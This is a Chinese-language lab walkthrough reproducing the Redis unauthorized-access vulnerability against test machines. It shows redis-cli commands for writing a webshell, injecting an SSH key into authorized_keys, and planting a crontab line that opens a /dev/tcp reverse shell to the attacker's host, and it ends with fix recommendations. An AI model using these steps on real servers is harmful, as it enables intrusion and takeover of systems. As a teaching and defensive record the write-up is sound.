Redis未授權訪問漏洞復現

  • 2019 年 10 月 14 日
  • 筆記

Redis未授權訪問漏洞復現

 

一、漏洞描述

Redis默認情況下,會綁定在0.0.0.0:6379(在redis3.2之後,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯),如果沒有進行採用相關的策略,比如添加防火牆規則避免其他非信任來源ip訪問等等,這樣將會將Redis服務暴露在公網上,如果在沒有設置密碼認證(默認為空)的情況下,會導致任意用戶在可以訪問目標伺服器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行寫文件操作,攻擊者還可以成功將自己的ssh公鑰寫入目標伺服器的/root/.ssh文件的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh伺服器登錄目標伺服器。

漏洞的產生條件有以下兩點:

(1)    Redis綁定在0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網

(2)    沒有設置密碼認證(默認為空)或者弱密碼,可以免密碼登錄redis服務

二、漏洞影響版本

Redis 2.x,3.x,4.x,5.x

三、漏洞危害

(1) 攻擊者無需認證訪問到內部數據,可能導致敏感資訊泄露,黑客也可以惡意執行flushall來清空所有數據

(2) 攻擊者可通過eval執行lua程式碼,或通過數據備份功能往磁碟寫入後門文件

(3) 如果redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標伺服器 

四、漏洞環境搭建

 靶機:ubuntu 16.04  192.168.10.134

攻擊機:kali 192.168.10.138 

1、靶機安裝redis伺服器(redis-server)

1.1下載redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

   

1.2、解壓,進入源碼目錄,然後編譯(make、make install)

  

   

1.3啟動服務(redis-server)

1.3.1啟動redis服務,注意關閉防火牆,Ubuntu除了iptables機制,還有ufw安全機制

   

1.3.2啟動redis-server服務

  

 1.4查看是否啟動了redis-server服務

ps -ef |grep redis-server

  

2.kali安裝安裝redis客戶端(redis-cli)

2.1下載redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

2.2 解壓,編譯

  

2.3測試redis客戶端是否安裝完成

  

五、漏洞復現

1、測試目標靶機是否存在未授權訪問,下圖說明靶機存在未授權訪問,導致資訊泄露(注:由於redis-4.0.10版本中配置文件默認已經啟用了保護,下面將使用redis-2.8.17)

  

 利用方式1:寫入webshell

利用條件:目標開啟了web伺服器,並且知道web路徑(可以利用phpinfo或者錯誤暴路徑等),還需要具有讀寫增刪改查許可權

2、把shell寫入到網站根目錄下(/var/www/html/)

  

3、在靶機上查看是否寫入了1.php文件

  

 4、瀏覽器訪問http://192.168.10.139/1.php,發現在目標靶機成功寫入webshell

  

5、寫入一句話木馬

  

 6、菜刀連接, 注:在ubuntu環境測試,菜刀一直解析不到上傳的木馬

  

利用方式2:通過寫入SSH公鑰實現SSH登錄

原理就是在資料庫中插入一條數據,將本機的公鑰作為value,key值隨意,然後通過修改資料庫的默認路徑為/root/.ssh和默認的緩衝文件authorized.keys,把緩衝的數據保存在文件里,這樣就可以在伺服器端的/root/.ssh下生一個授權的key。

7、首先在攻擊機(kali)上生成ssh公鑰

   

8、將公鑰寫入key.txt文件(前後用n換行,避免和redis里其他快取數據混合)。

(echo -e “n”;cat id_rsa.pub;echo -e “n”)>key.txt

  

9、再把key.txt文件內容寫入redis緩衝

cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub

  

 10.1、設置redis的dump文件路徑為/root/.ssh且文件名為authorized_keys,注意: redis 可以創建文件但無法創建目錄,所以,redis 待寫入文件所在的目錄必須事先存在。出現如下圖錯誤是因為目標靶機不存在.ssh目錄(默認沒有,需要生成公、私鑰或者建立ssh連接時才會生成)

  

10.2當目標使用過ssh服務之後,就會產生.ssh目錄了,然後進行如下操作

   

11、測試是否可以通過ssh登錄目標伺服器,成功登錄

   

 利用方式3:在crontab里寫定時任務,反彈shell

12、在客戶端開啟監聽(kali攻擊機)

  

13、在客戶端(kali攻擊機)使用redis-cli連接redis伺服器,寫入反彈shell

set xxx “nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.140/5555 0>&1nn”

config set dir /var/spool/cron

config set dbfilename root

save

  

14、1分鐘後客戶端這邊收到centos的反彈shell,注意:在ubuntu測試計劃任務寫入成功但不執行

  

 15、在目標靶機(centos)上查看計劃任務

   

六、修復建議

1、禁止外部訪問Redis服務埠

2、禁止使用root許可權啟動redis服務

3、配置安全組,限制可連接Redis伺服器的IP

 

 

————————————————————————-

參考: https://www.freebuf.com/column/158065.html

https://www.freebuf.com/vuls/148758.html

redis安裝: https://www.jianshu.com/p/2f53c9a4b4c6